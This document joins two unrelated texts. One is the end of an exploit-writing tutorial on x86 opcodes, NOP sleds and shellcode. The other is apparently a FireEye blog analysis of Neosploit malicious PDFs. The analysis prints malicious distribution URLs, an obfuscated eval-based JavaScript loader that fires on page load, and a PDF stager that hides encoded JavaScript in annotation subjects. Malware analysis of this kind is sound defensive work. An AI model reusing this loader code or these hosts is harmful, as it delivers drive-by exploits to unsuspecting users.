and others that jump to absolute locations in memory \(irrespective of where
the code currently being executed is located\). There are also conditional
jump instructions \(referred to in many instruction references as Jcc
instructions\). These jump to another location only if a certain condition is
met, usually determined based on the value of one or more flags which are set
by various other instructions. These conditional jump instructions all begin
with the letter J, and some examples are JE \(Jump if equal\), JNZ \(Jump if
not zero\) and JB \(Jump if below\). All conditional jumps are relative jumps
and these are usually used to perform branching within programs e.g. the code
executes one way if a certain condition is true, or a different way if it is
not.

One of the most common JMP instructions used in exploit development is the
short jump. The assembly instruction for this type of JMP is normally written
with an absolute memory address following the “JMP SHORT”; however the opcode
value is **not** specified in absolute terms, but rather as a value relative
to the address of the next instruction in memory. \(Please note I am preceding
all opcode values in this tutorial with “\x” to denote them as hexadecimal\).

\xEB\x08 JMP SHORT \[Address of the Next Instruction + 8\]  

The opcode for the short JMP is “\xEB” followed by a single byte value that
controls the distance of the jump, which is made relative to the start of the
**next** instruction in memory. The example above will jump forward 8 bytes.
We can substitute any hexadecimal value to “\x7F” to allow jumping up to 127
bytes relative to the address of the next instruction.

We can also use the short jump instruction to jump backwards from our current
position, by using the values above “\x7F”. We essentially count down from
“\xFF” to “\x80″ in order to jump up to 128 bytes backwards, relative to the
address of the next instruction. Using a value of “\xFF” jumps backwards one
byte, “\xFE” jumps back two bytes, “\xFD” three bytes and so on. Remember that
the jump is relative to the address of the next instruction in memory, so
using an instruction of “\xEB\xFE” will jump back to the start of its own
instruction, creating a loop.

Jumps can also be performed directly to the locations held by various
registers, such as the ones shown below

`\xFF\xE0 JMP EAX  
\xFF\xE1 JMP ECX  
\xFF\xE2 JMP EDX  
\xFF\xE3 JMP EBX  
\xFF\xE4 JMP ESP  
\xFF\xE5 JMP EBP  
\xFF\xE6 JMP ESI  
\xFF\xE7 JMP EDI`

If any of these jump instructions are used, execution will jump to the memory
address specified by the value of the given register. So, if you run an
instruction of JMP EAX, and the EAX register holds the value 00401130,
execution will jump to the instructions located in memory at the address
00401130.

There are a number of other jump instructions you can use, which you can find
out by referring to an Instruction Set Reference, such as the one linked to at
the end of this section. The main thing you should remember about the JMP
instruction is that it allows you to redirect code execution.

CALL  

A CALL instruction is used to call a procedure. When a CALL is made execution
jumps to a given address in memory, the code beginning at that location is
executed until a RETN instruction is reached, and then execution should return
to the instruction in memory immediately following the initial CALL
instruction. The ability to return back to the location of the initial CALL
statement is achieved by using the stack to store the address where code
execution needs to return once the RETN instruction is reached. Given that
this “return address” is stored on the stack it is in an ideal location to be
overwritten by a stack overflow \(but this is a topic for another time\). For
now, you can forget about what happens when you RETN from the CALL
instruction, and just concentrate on the fact that that like JMP, CALL is
another instruction we can use to redirect the CPU’s code execution path.

As with the JMP instruction, there are a number of different types of CALL
instructions, however the most interesting from our perspective are the ones
that redirect execution to a location specified by a CPU register. Here are
some examples:

`\xFF\xD0 CALL EAX  
\xFF\xD1 CALL ECX  
\xFF\xD2 CALL EDX  
\xFF\xD3 CALL EBX  
\xFF\xD4 CALL ESP  
\xFF\xD5 CALL EBP  
\xFF\xD6 CALL ESI  
\xFF\xD7 CALL EDI  
`

As with the JMP instructions discussed previously, a CALL EAX instruction will
redirect code execution to the memory address held by the EAX register. Use of
CALL can also be a clever way to find out your current position in memory when
writing shellcode, as the address of the next instruction will automatically
be added to the top of the stack when the CALL instruction is executed.

POP  

The POP instruction works with the stack and allows you to “pop” the top entry
from the stack and place it into the location specified by the provided
operand, which will either be a register or a memory location. The POP
instruction, along with its companion instruction PUSH are incredibly useful
to us as exploit writers, as they allow us to manipulate the stack and to
shift various values around in memory.

Some useful example POP commands are:

`\x58 POP EAX  
\x59 POP ECX  
\x5A POP EDX  
\x5B POP EBX  
\x5C POP ESP  
\x5D POP EBP  
\x5E POP ESI  
\x5F POP EDI  
`

Running an instruction such as POP EAX will remove the value from the top of
the stack and place it into the EAX register. The current position on the
stack will be adjusted via adding 4 bytes to the value of the ESP register.
\(As discussed earlier in the section on the stack, the stack grows downward,
making the value of ESP larger makes the stack smaller\)

PUSH  

The companion instruction to POP is PUSH, which adds new entries to the stack.
As with POP, the first operand can be either a memory address or a register,
and the value from that location will be pushed onto the stack. Some useful
POP commands are.

`\x50 PUSH EAX  
\x51 PUSH ECX  
\x52 PUSH EDX  
\x53 PUSH EBX  
\x54 PUSH ESP  
\x55 PUSH EBP  
\x56 PUSH ESI  
\x57 PUSH EDI  
`

POP EAX will take the value of EAX and put it onto the stack, automatically
shrinking the value of the ESP register by four bytes in the process.

RETN  

Sometimes written as RET, this instruction takes the top value on the stack,
interprets it as a memory address and redirect code execution to that
location. Simple. An optional operand can be used to release additional bytes
from the stack by modifying the value of the ESP register when the instruction
is executed. RETN is often used in combination with the CALL command.

`\xC3 RETN  
`

Imagine what you could do if you could modify the return address on the stack
before the RETN instruction was executed in a program…

INT3  

An INT3 instruction found within the code causes a pause of execution when run
in the debugger — it’s the assembly instruction equivalent of setting a
breakpoint in the debugger \(see the next section for more details about what
a breakpoint is\).

`\xCC INT3  
`

Using these characters in the data you send to an application is a great way
to pause execution during the actual process of crafting an exploit. If placed
at a location where you anticipate execution to be redirected, it will allow
you to confirm that redirection is occurring as expected, or if placed
immediately before shellcode, it will give you an opportunity to examine that
the shellcode has not been mangled before it gets executed. Think of it as
providing you an extra level of control which can assist in identifying and
resolving problems during the exploit development process. Once any such
problems are ironed out, the breakpoints can of course be removed.

You can see an example of a use of the INT3 instruction in the upcoming
section on editing code within the debugger.

NOP  

NOP stands for No Operation, and is basically an instruction that does…
nothing.

`\x90 NOP  
`

So what is the point of an instruction that does nothing? Well, as an exploit
writer, we can make use of the fact that this instruction takes up space and
won’t change register values or the stack in a few ways.

The most common use of the NOP instruction is in a NOP slide \(or sometimes
NOPsled\). When you have an opportunity to redirect code execution, but you
only know the general area in which you will end up, you can stick a NOP slide
in that area on which to land your code execution. Each consecutive NOP
instruction from the point of landing will be executed until the end of the
slide is reached. At this point, any shellcode placed at the end of the slide
will end up being executed.

Another use of NOP instructions is to provide a buffer zone in memory for
certain types of shellcode. Some shellcode, especially encoded shellcode, can
require some working space in memory in order to operate properly. A
sufficient number of NOP instructions, placed in the correct location in the
data sent from your exploit, can provide this working space.

One important thing to keep in mind here is that certain other instructions
can be used to substitute for the traditional NOP when the NOP instruction
itself is not suitable. For example when character filtering prevents the
“\x90″ byte from being sent, or for when the opcodes used for the instruction
must also be able to be interpreted as a memory address within a certain
proscribed range.

In this case, any instruction which fits the appropriate criteria for the
exploit and does not change a register value or the stack in a way that might
break future shellcode can be used. Finding these types of instructions will
be a matter of identifying which particular bytes can be used given the
requirements of the exploit, and then determining what instructions the given
bytes can be used to create, while considering the effect those instructions
may have on the stack and important registers. This is where an instruction
set reference and the ability of OllyDbg to disassemble your own code \(see
the section on editing code, memory and registers\) can come in handy.

This completes the subsection on assembly instructions. For more information
on the instructions available in X86 assembly, you can visit the following
page to obtain an instruction set reference
manual:http://www.intel.com/design/pentiumii/manuals/243191.htm

Once you read the guide in the second article: on how to run code in a
debugger, you will also have an opportunity to directly observe how these, and
other instructions, actually work. I encourage you to do this so you can
obtain a better understanding of their operation.

# FireEye Malware Intelligence Lab: PDF Obfuscation using getAnnots\(\)

**Created:**| _1/16/2010 5:54:25 PM_  
---|---  
**Updated:**| _1/16/2010 5:54:43 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

### PDF Obfuscation using getAnnots\(\)

Since around October 2009, Neosploit¹, a black-market exploit toolkit, has
been fabricating PDF files in a slightly new way, but in a way which is
difficult for many parsers to analyze for maliciousness. In summary, all of
the metadata in a PDF is accessible from the Acrobat Javascript environment.
And this metadata is being used for obscuring embedded Javascript code. A PDF
parser would need to fill in all the document objects with the correct data,
and evaluate the Javascript to find the exploit. \(Needless to say, many PDF
signature parsers don't do this.\) These malicious PDFs ultimately install
Mebroot \(aka: Sinowal\)².

\[And, oh yeah, our product detects this.\]

### Breaking News

**Update** : There's another exploit toolkit doing similar metadata tricks to
obscure a CVE-2009-4324 attack. \(That's the most recent 0-day.\)

* * *
I'm going to use this for most of my examples \(warning: live as of this
writing\):

> google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.php
The Wepawet Analysis The Virus Total Analysis on the downloaded EXE
\(56a6e96863f6dc0c5c5c64fca6bd3c52\)

## A Brief Word about Neosploit¹

Like some other toolkits, you can only hit the first exploit page once per
source IP. It returns a 404 if you try to fetch it again. The Javascript is
broken up into multiple chunks, fetched by the first chunk, deobfuscated,
reassembled, and executed. The URI is slightly polymorphic. For example, all
of these are really the same program on the server:

>
[code]

>     google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.exe
>     google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.php
>     google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.py
>     google.com.analytics.eicyxtaecun.com/nte/TREST11 .asp
>     google.com.analytics.eicyxtaecun.com/nte/TREST11.exe
>     google.com.analytics.eicyxtaecun.com/nte/TREST11.html
>     google.com.analytics.eicyxtaecun.com/nte/TREST11.php
>     google.com.analytics.eicyxtaecun.com/nte/TREST11.py
>  
[/code]

> \[etc.\]
Any file starting with "`j`" appears to be Javascript, "`e`" appears to be
EXEs, and "`o`" are the polymorphically generated exploit PDFs. Observe:

[code]

    eH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948320: PE32 executable for MS Windows (DLL)
    jH999a4551V0100f070006R00000000102Td2dcca7b201L656e2d75730000000000K91a68948: ASCII text, with very long lines
    oH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948317: PDF document, version 1.3
    
[/code]

The filename is composed of several fields of hexadecimal value, with
separators which are not in the set \[0-9a-f\] \(case sensitive, "F" is a
valid separator\). From the above example:

>
[code]

>     j H999a4551 V0100f070006 R00000000102 Td2dcca7b 2 01
> L656e2d75730000000000 K91a68948
>     e H999a4551 V0100f070006 R00000000102 Td2dcca7d 2 01 l0409
> K91a68948320
>     o H999a4551 V0100f070006 R00000000102 Td2dcca7d 2 01 l0409
> K91a68948317
>  
[/code]

The "`2 01`" is the browser version, "`L656e2d75730000000000`"`` means "`en-
us`" I haven't bothered to figure out the rest yet.``

This is the first chunk of Javascript that hits your browser. If you started
from, say"`http://dgvlvhhytlta.com/nte/GNH4.exe`" it would fetch the next
chunk \(the variable"`pums`" \) from
"`http://dgvlvhhytlta.com/nte/GNH4.exe/jH999a4551V0100f070006`…". These stages
are not on the Wepawet analysis I mentioned above, so I'm including them here
for completeness.

>
[code]

>     <html>
>     <head>
>     <script>
[/code]

> `function nerot(o6v28_IX_KM, D5___o){var O_Pp6_l = arguments.callee;O_Pp6_l
> = O_Pp6_l.toString();var X6q8_bl = 0;var U_a8___ej = "a" + "f";var
> Ghc62j5r1Wr8P = document.getElementById(U_a8___ej);if (Ghc62j5r1Wr8P) {if
> (!D5___o) {D5___o = Ghc62j5r1Wr8P.value;}}X6q8_bl++;X6q8_bl++;var firot =
> new Array();if (o6v28_IX_KM) { firot = o6v28_IX_KM;} else {var
> tk_048_6R_6CyPe = 0;var ScS1Bncy_d_8 = 0;var G_2__3A_r = 512;var
> gw55F_B__BBV2 = 49;gw55F_B__BBV2--;while(ScS1Bncy_d_8 < O_Pp6_l.length) {var
> G_sv_c7x6qjTn = 1;var m8d_GS__whx = O_Pp6_l.charCodeAt(ScS1Bncy_d_8);if
> (m8d_GS__whx >= gw55F_B__BBV2 && m8d_GS__whx <= (gw55F_B__BBV2 + 9)) {if
> (tk_048_6R_6CyPe == 4) { tk_048_6R_6CyPe = 0; }if
> (isNaN(firot[tk_048_6R_6CyPe])) { firot[tk_048_6R_6CyPe] = 0;
> }firot[tk_048_6R_6CyPe] += m8d_GS__whx;if (firot[tk_048_6R_6CyPe] >
> G_2__3A_r) {firot[tk_048_6R_6CyPe] -=
> G_2__3A_r;}tk_048_6R_6CyPe++;}ScS1Bncy_d_8++;}}tk_048_6R_6CyPe = 4;while
> (tk_048_6R_6CyPe > 0) {if (firot[tk_048_6R_6CyPe - 1] > 256)
> {firot[tk_048_6R_6CyPe - 1] -= 256;}tk_048_6R_6CyPe--;}var QmyQ7eL0R = 0;var
> x1Kf_448jleM42 = "";var sp__yv_2g_K04cp = 0;var j_G1g_1 = 0;var T__D6_r =
> 0;var y_6A__C_u;var pdbpQb = 0;while(j_G1g_1 < D5___o.length) {var
> T_B203hvS__Wvt = D5___o.substr(j_G1g_1, 1) + "J";var Pbukfx_2f7D__1w =
> parseInt(T_B203hvS__Wvt, 16);if (T__D6_r) {y_6A__C_u += Pbukfx_2f7D__1w;if
> (QmyQ7eL0R == 4) {QmyQ7eL0R -= 4;}var iJ_d_Qth = y_6A__C_u;iJ_d_Qth =
> iJ_d_Qth - (pdbpQb + 2) * firot[QmyQ7eL0R];if (iJ_d_Qth < 0) {var
> xgY5uT7__QoL = Math.floor(iJ_d_Qth / 256);iJ_d_Qth = iJ_d_Qth - xgY5uT7__QoL
> * 256;}iJ_d_Qth = String.fromCharCode(iJ_d_Qth);if (X6q8_bl == 1)
> {x1Kf_448jleM42 += Pbukfx_2f7D__1w;} else if (X6q8_bl == 2) {x1Kf_448jleM42
> += iJ_d_Qth;} else {x1Kf_448jleM42 += j_G1g_1;}QmyQ7eL0R++;pdbpQb++;T__D6_r
> = 0;} else {y_6A__C_u = Pbukfx_2f7D__1w * 16;T__D6_r =
> 1;}j_G1g_1++;};;eval(x1Kf_448jleM42);return 0;}`
[code]

>     </script>
>     </head>
>     <body onload="nerot() ;">
>     <input type="hidden" id="aa" value="1">
>     <input type="hidden" id="af" value="F2D096B1BB5AA764CBE6B0E3B18 […]
> 745A6F">
>     <input type="hidden" id="ab" value="1">
>  
>     </body>
>     </html>
>  
[/code]

And the second chunk:

> `var pums = 'C8763EB09A160F5F0AC4C` … `EB76';`
### Find The Pattern

Here's some names of generated PDFs, I've broken the names up into, what I
believe are, separate fields. See if you can find the pattern. None of these
is obviously an IP address. \(I checked for that.\)

>
[code]

>     AVORP1TREST11.exe/o U2773a43b H918373c0 V03007f35002 R8d56bfa1108
> Tdac6495d Q000002fc900801 F0020000a J11000601l0409 Kfa01dcdb317: PDF
> document, version 1.3
>  
>     AVORP1TREST11.php/o Hf7b12f26 V0100f060006Rf53e765c102 Tbcf2d195204
> l0409 K98c2615b317: PDF document, version 1.3
>     AVORP1TREST11.py/o H999a4551 V0100f070006R00000000102 Td2dcca7d201 l0409
> K91a68948317: PDF document, version 1.3
>     AVORP1TREST11.py/o H9efd3f2d V03006f35002Rf53e765c102 Td5b83f0c
> Q000002fa901801 F0020000a J11000601 l0409 K5b7f0e41317: PDF document,
> version 1.3
>     TREST11 .asp/o H47834891 V0100f060006 R89a36f9c102 T0cc787be203l0409
> K07105315317: PDF document, version 1.3
>     TREST11 .asp/o H91b0de2f V0100f070006 R8f56bc05102 Tdaf42f62201l0404
> K544d4bfe317: PDF document, version 1.3
>     TREST11 .asp/o Ha98d29bd V0100f060006 R89a36f9c102 Te2cb340e204l0409
> K4b290413317: PDF document, version 1.3
>     TREST11 .asp/o He22f9c5c V03007f35002 R8d56bfa1102 Ta96aa0ae
> Q000002fc901801 F000c000a J10000601 l0409 Kc5ceb2bf317: PDF document,
> version 1.3
>     TREST11 .asp/o Hf7ba1c39 V03005f35002 Rf53e765c102 Tbcff3946
> Q000002fd901801 F0020000a J11000601 l0409 K4e3afa12317: PDF document,
> version 1.3
>     TREST11.exe/o H30847807 V0100f060006 R89a36f9c102 T7bc0ed53203l0409
> K7b4d501b317: PDF document, version 1.3
>     TREST11.exe/o H3ebec388 V03007f35002 Rf53e765c102 T75fbc09a
> Q000002fc901801 F002a000a J11000601 l0409 Kaa9ea783317: PDF document,
> version 1.3
>     TREST11.exe/o H82fea487 V0100f080006 Rf53e765c102 Tc9bb26de201l0409
> Kfee4acbe317: PDF document, version 1.3
>     TREST11.html/o H8b9e4040 V03007f35002 Rf53e765c102 Tc0db4487
> Q000002fd901801 F002a000a J11000601 l0409 K575b6c55317: PDF document,
> version 1.3
>     TREST11.html/o H9ee97623 V03006f35002 Rf53e765c108 Td5ad4a05
> Q000002fd900801 F0020000a J11000601 l0409 K539b6710317: PDF document,
> version 1.3
>     TREST11.html/o Ha98d29bd V0100f060006 Rf53e765c102 Te2cb34e5204
> l0409K35e5f3e5317: PDF document, version 1.3
>     TREST11.html/o Hd6a7ae5c V0100f080006 Rf53e765c102 T9de446b5201
> l0409Kab6a7970317: PDF document, version 1.3
>     TREST11.php/o H47834891 V0100f060006 Rf53e765c102 T0cc6cd94203
> l0409K6c8c5ba1317: PDF document, version 1.3
>     TREST11.php/o Hdfab3f7e V0100f080006 R8d56bfa110a T94ee748e201
> l0409K678f4226317: PDF document, version 1.3
>     TREST11.php/o Hff15790b V03006f35002 Rf53e765c10a Tb4506ce8
> Q000002fc901801 F002a000a J00000000 l0409 Kadd89d89317: PDF document,
> version 1.3
>     TREST11.py/o H28d77e41 V0100f060006 R7bd67009102 T63951338203 l0409
> K3c732e33317: PDF document, version 1.3
>     TREST11.py/o H9ef9bb5c V03007f35002 Rf53e765c102 Td5bdef71
> Q000002fc901801 F0020000a J11000601 l0409 Kd3978d8b317: PDF document,
> version 1.3
>     TREST11.py/o Hde8a192b V0100f060006 R8f56bc05102 T95cf8f5f203 l0409
> K6f2c23ff317: PDF document, version 1.3
>     TREST11.py/o He5441011 V0100f070006 R89a36f9c102 Tae012b23201 l0804
> Ka373855f317: PDF document, version 1.3
>     TREST11.py/o Hf9287a3c V03006f35002 Rf53e765c10a Tb26c5103
> Q000002fc900801 F0020000a J00000000 l0409 Kf8aab2d0317: PDF document,
> version 1.3
>     TREST11.py/o Hfb50394b V03007f35002 Rf53e765c102 Tb0152511
> Q00000000901801 F002a000a J11000601 l0409 K77546b04317: PDF document,
> version 1.3
>  
>
> chrisbecfiis.com/nte/AVORP1TREST1.py/eH999a4551V0100f070006R00000000102Td2b6e14c201l0409K816c9c70320:
> PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
>
> cjbtiybcpnf.com/nte/trest11.py/eH999a4551V0100f070006R00000000102Td2a93f54201l0409320:
> PE32 executable for MS Windows (GUI) Intel 80386 32-bit
>
> google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.py/eH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948320:
> PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
>  
[/code]

I guess that's more than a brief word.

## How To Speak PDF

The PDF itself is rather clean and easy to read³, so I'll step you through it
here.

First4, Acrobat checks if the first line is `%PDF-1._something_`, and the last
line is`%%EOF`. The second and third lines from the end are the offset \(in
bytes\) to the cross reference table — the list of objects in the file — and
the word "`startxref`". Somewhere near all that, is the trailer dictionary,
which says there are nine objects in this file.

The Cross Reference table \[xref\] is consulted, it says there are nine
objects in this table, and that…  
Object \#1 starts at byte offset 17. \(0x11\)  
Object \#2 starts at offset 93. \(0x5D\), etc…

It's possible to have multiple xref tables by design, so that PDF files can be
incrementally updated. \[The purpose of this is so that a PDF reader can find
each object quickly, without needing to scan the entire file first to locate
it, and without needing to rewrite the entire file just to edit something.\]

> ``xref  
> 0 9` ←  _This table references objects 0 through 9_  
> `0000000000 65535 f` ←  _A "Free" (Deleted) Object; Generation 65535 means
> never reuse this number_  
> `0000000017 00000 n` ←  _Object 1 starts at offset 17 bytes_  
> `0000000093 00000 n` ←  _Object 2 starts at offset 93 bytes_  
> `0000000134 00000 n` ←  _Object 3 starts at offset 134 bytes_  
> ` `**⇑  _Generation number goes up by one for any object number freed and
> reused._**  
> [etc.]  
> `0000000411 00000 n` ←  _Object 7 starts at offset 411 byte_ s  
> `0000000641 00000 n` ←  _Object 8 (9 th counting from 0)_  
> trailer<</Size 9/Root 1 0 R>>` ←  _Nine objects, Object 1 is the top of the
> document object tree \(The /Catalog object\)._  
> `startxref  
> 9323`  _← Offset to "`xref`" above_  
> `%EOF`  
>
### Offset Examples

>
[code]

>     00000000  25 50 44 46 2d 31 2e 33  0d 0a 25 b1 b3 f3 ce 0d
> |%PDF-1.3..%.....|
>     00000010  0a 31 20 30 20 6f 62 6a  3c 3c 2f 54 79 70 65 2f  |.1 0
> obj<</Type/|
>                  **⇑ _Byte 17 (0x11) is a "1"_**
>     […]
>     00000040  20 52 2f 4f 70 65 6e 41  63 74 69 6f 6e 20 36 20  | R/OpenAction 6 |
>     00000050  30 20 52 3e 3e 65 6e 64  6f 62 6a 0d 0a 32 20 30  |0
> R>>endobj..2 0|
>                                                       **⇑ _Byte 93 (0x5D) is
> a "2"_**
>     00000060  20 6f 62 6a 3c 3c 2f 54  79 70 65 2f 4f 75 74 6c  | obj<</Type/Outl|
>     […]
>     00002450  ff 03 a2 65 8b 77 0d 0a  65 6e 64 73 74 72 65 61
> |...e.w..endstrea|
>     00002460  6d 0d 0a 65 6e 64 6f 62  6a 0d 0a 78 72 65 66 0d
> |m..endobj..xref.|
>                                                  **⇑ _Byte 9323. (0x246B) is
> a "xref"_**
>     00002470  0a 30 20 39 0d 0a 30 30  30 30 30 30 30 30 30 30  |.0
> 9..0000000000|
>  
>  
[/code]

The comment near the beginning of the file, the four bytes with their high
bits set, is a way to warn most systems where there is a distinction between
'text' and 'binary' modes for files, that this file is going to be 'binary'.

### Brief Syntax Guide

  * Anything between `%` and end-of-line is a comment.
  * Anything between `()`'s is a literal string.
  * Anything starting with a `/` is a Name.
  * Anything inside of `[]`'s is an array.
  * Anything inside of `stream endstream` is data stream \(think of it as a very large string constant or blob\).
  * Anything inside of `<<>>` is a dictionary \(name-value pairs, like this: `<</Type /foo/Thingy 123456>>`\)
  * Indirect objects are defined like  _Object\_Number Version_ `obj`  _Stuff_ `endobj`. For example: `123 45 obj(I'm a literal string)endobj`.
  * An indirect can be used — Referenced — from anywhere else that a normal object \(string, integer, etc.\) would go, by simply writing the object number and version number followed by an `R`. For example: `123 45 R` substitutes for that literal string in the example above.
  * Every useful dictionary object has an entry for what `/Type` it is. For example, the`/Catalog` type is used for the document tree root, and `/Font` is used for font objects.

### That Neosploit PDF

Object \#1 \(The Catalog object\) says that…  
Object \#2 is the top of the Outline tree \(that side panel in your PDF
viewer\)…  
Object \#3 is the top of the Page tree…  
And to perform the action in Object \#6 when the document is opened.  
  
Object \#2 says there really isn't an outline for this document.  
  
Object \#3 says there is one page in the tree, which is Object \#4 .  
  
Object \#6 says to execute the Javascript in Object \#7.  
  
Object \#4 is the descendant of Object \#3. It says the page size is 612x792
points \(or 8.5x11 inches\), and that it contains an Annotation, with the
annotation details in Object \#5…  
Object \#5 says that Object \#8 is the Subject of this Annotation \(The sekret
Javascript exploit code\).  
  
These are the good parts:  
Object \#7 is the Javascript that's executed upon document open. It's a
decoder for the Javascript hidden in…  
Object \#8 The Annotation Subject string, a large blob of encoded Javascript.

### In PDF-Speak

> `%PDF-1.3  
> %`→  _Four bytes between 0x80 and 0xFF_  
> `1 0 obj<</Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 6 0 R>>endobj  
> 2 0 obj<</Type/Outlines/Count 0>>endobj  
> 3 0 obj<</Type/Pages/Kids[4 0 R]/Count 1>>endobj  
> 4 0 obj<</Type/Page /Annots[ 5 0 R ]/Parent 3 0 R/MediaBox [0 0 612
> 792]>>endobj  
> 5 0 obj<</Type/Annot /Subtype /Text /Name /Comment/Rect[25 100 60 115] /Subj
> 8 0 R>>endobj  
> 6 0 obj<</Type/Action/S/JavaScript/JS 7 0 R>>endobj  
> 7 0 obj<</Length 158/Filter/FlateDecode>>  
> stream`  
> —  _The zlib compressed data goes here_ —  
> `endstream  
> endobj  
> 8 0 obj<</Length 8609/Filter/FlateDecode>>  
> stream`  
> —  _The other zlib compressed data goes here_ —  
> `endstream  
> endobj  
> xref  
> 0 9  
> 0000000000 65535 f  
> 0000000017 00000 n  
> 0000000093 00000 n  
> 0000000134 00000 n  
> 0000000184 00000 n  
> 0000000266 00000 n  
> 0000000358 00000 n  
> 0000000411 00000 n  
> 0000000641 00000 n  
> trailer<</Size 9/Root 1 0 R>>  
> startxref  
> 9323  
> %EOF  
> `
## Analysis

The `/FlateDecode` streams are compressed with the deflate algorithm, the
**exact** same one used in PKZip, gzip, and PNG.

If you're trapped on a desert island, with only primitive Unix tools. You can
just slap a gzip header onto the beginning of the zlib compressed blob, and
use gunzip to decompress it. \(Don't forget to add four bytes to the end for
the length.\)

>
[code]

>     $ echo -ne "\x1f\x8b\x08\x00BLAH" > example.gz
>     $ cat stream7 >> example.gz
>     $ echo -ne "\x00\x00\x00\x00" >> example.gz
>     $ zcat example.gz |less
>  
>     zcat: example.gz: invalid compressed data--crc error
>  
>     zcat: example.gz: invalid compressed data--length error
>  
[/code]

> `var z; var y; z = y = app.doc; y = 0; z.syncAnnotScan ( ); y = z;var p =
> y.getAnnots( { nPage: 0 }) ;var s = p[0].subject; var l = s.replace(/z/g,
> '%'); s = unescape (l) ;eval(s); s = ''; z = 1;`
Hey look\! It's Javascript\!

This trick only works as long as bit 5 of the second byte of the zlib stream
is not set. \(Which I've not seen in a PDF stream yet.\) I'd explain why this
works, but this blog post is too long already. Compare RFC1950 Section 2.2 vs.
RFC1952 Section 2.3 if you really want to know. You can also decompress the
stream with a pencil and paper too if you don't have a computer. It's not that
difficult, just remember that the bits in each octet are reversed from how
they look in rfc1951 \(Why are y'all looking at me like that? I had to fix a
corrupt zip file…\)

Otherwise use xpdf or Didier Stevens' tool\(s\) like a normal person.  

>
[code]

>     pdftosrc oH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948317
> 7
>     pdftosrc oH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948317
> 8
>     python pdf-parser.py -f
> oH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948317
>  
[/code]

### Back to the PDF

This is the uncompressed stream from Object \#7  
Almost every PDF I've examind so far has this **exact** same code in Object
\#7. \(There's apparently a newer version of the toolkit which is doing a
little bit of obfuscation to this block.\)  

> `var z; var y; z = y = app.doc; y = 0; z.syncAnnotScan ( ); y = z;var p =
> y.getAnnots( { nPage: 0 }) ;var s = p[0].subject; var l = s.replace(/z/g,
> '%'); s = unescape (l) ;eval(s); s = ''; z = 1;`
\[This `getAnnots()` usage is completely unrelated to CVE-2009-1492\]

The uncompressed stream from Object \#8; The subject of this annotation, and
second stage of Javascript, is:  
`z0dz0az0dz0az09z66z75z6ez63z74z69z` \[…\]

The "`z`" characters are replaced by "`%`", and then the whole thing
`unescape()`'d. I've seen other variants use "`y`", "`g`", or "`h`", and a
little more obfuscation of the code above.

### More obfuscation from a different Neosploit toolkit

For Example:

>
[code]

>     var z; var y;
>      var h = 'edvoazcl';
>               z = y = app[h.replace(/[aviezjl]/g, '')];
>              var tmp = 'syncAEEotScan'; y = 0;       z[tmp.replace(/E/g,
> 'n')](); y = z; var p = y.getAnnots ( {  nPage: 0 }) ;   var s = p[0]; s =
> s['sub' + 'ject']; var  l =   s.replace(/[zhyg]/g, '%')  ; s =  unescape ( l
> ) ;app[h.replace(/[czomdqs]/g, '')]( s);
>      s =  ''; z  = 1;
>  
[/code]

  
The 'y' characters are replced by '%', and then the whole thing unescaped.  

> `s.replace(/[zhyg]/g, '%')`  
>
> `y0dy0ay0dy0ay09y66y75y6ey63y74y69y6fy6ey20y58y36y5fy5fy34y6by33y56y64y4ay56y62y30y49y64y28y76y5fy5fy4dy61y78y6ay2cy20y70y30y5fy59y32y54y29y7by76y61y72y20y73y5fy5fy5fy51y33y35y68y`\[...\]
### About syncAnnotScan and getAnnots

> 12.5.6.4 Text Annotations  
> A text annotation represents a “sticky note” attached to a point in the PDF
> document. When closed, the annotation shall appear as an icon; when open, it
> shall display a pop-up window containing the text of the note in a font and
> size chosen by the conforming reader. Text annotations shall not scale and
> rotate with the page; they shall behave as if the NoZoom and NoRotate
> annotation flags \(see Table 165\) were always set. Table 172 shows the
> annotation dictionary entries specific to this type of annotation.  
> — From the PDF 1.7 Reference ISO 32000-1:2008.
So let's take a look at that annotation object again:  

> `5 0 obj <<  
>  /Type/Annot  
>  /Subtype /Text` ← This is a Text Annotation  
> ` /Name /Comment` ← Default to a Comment-Style Icon for display  
> ` /Rect[25 100 60 115]` ← Location of the annotation on page.  
> ` /Subj 8 0 R` ← Subject is that object full of encoded Javascript`  
> >>endobj`
/Subj

    Text representing a short description of the subject being addressed by the annotation. ISO 32000-1
The `getAnnots()` function returns an array of annotation objects, and accepts
an associative array with the following possible labels \[ibid.\]:  

`nPage`

    A 0-based page number. If not set, all pages that match filter. 
`nSortBy`

    A sort method applied to the array. \(by Page, Author, Moddate, etc.\) 
`bReverse`

    If true, causes the array to be reverse sorted with respect to nSortBy. 
`nFilterBy`

    Gets only annotations satisfying certain criteria. \(Printable, viewable, editable, etc.\) 
Contrast this with getAnnot\(\) which returns a single Annot object by name.

### Example

[code]

    // From the Acrobat JavaScript Scripting Reference
    // All annotations on the first page, in reverse order by author.
    var annots = this.getAnnots({
         nPage:0, 
         nSortBy: ANSB_Author, 
         bReverse: true
    });
[/code]

### Cleaned Up Code With Commentary

[code]

    var z;
    var y; 
    z = y = app.doc; 
             y = 0;
             z.syncAnnotScan ( );         // Acrobat scans for annotations in the
                                          // document, as a background task. 
                                          // This function blocks until all of the
                                          // annotations in the document have been found.
    y = z;
    var p = y.getAnnots( {  nPage: 0 }) ; // This is the new technique.
                                          // getAnnots() returns a list of annotation
                                          // objects. (For the first page in this case)
    
    var s = p[0].subject;                 // Get the subject from the first annotation
                                          // object.
    
    var l = s.replace(/z/g, '%');         // The 'z' characters are replaced by '%'
    s =  unescape (l) ;                   // and then the whole thing unescape()'d
    eval(s);                              // Run the second stage Javascript
    s = ''; 
    z = 1;
    
[/code]

### The Next Part

The third layer of this Javascript onion will decode the next part
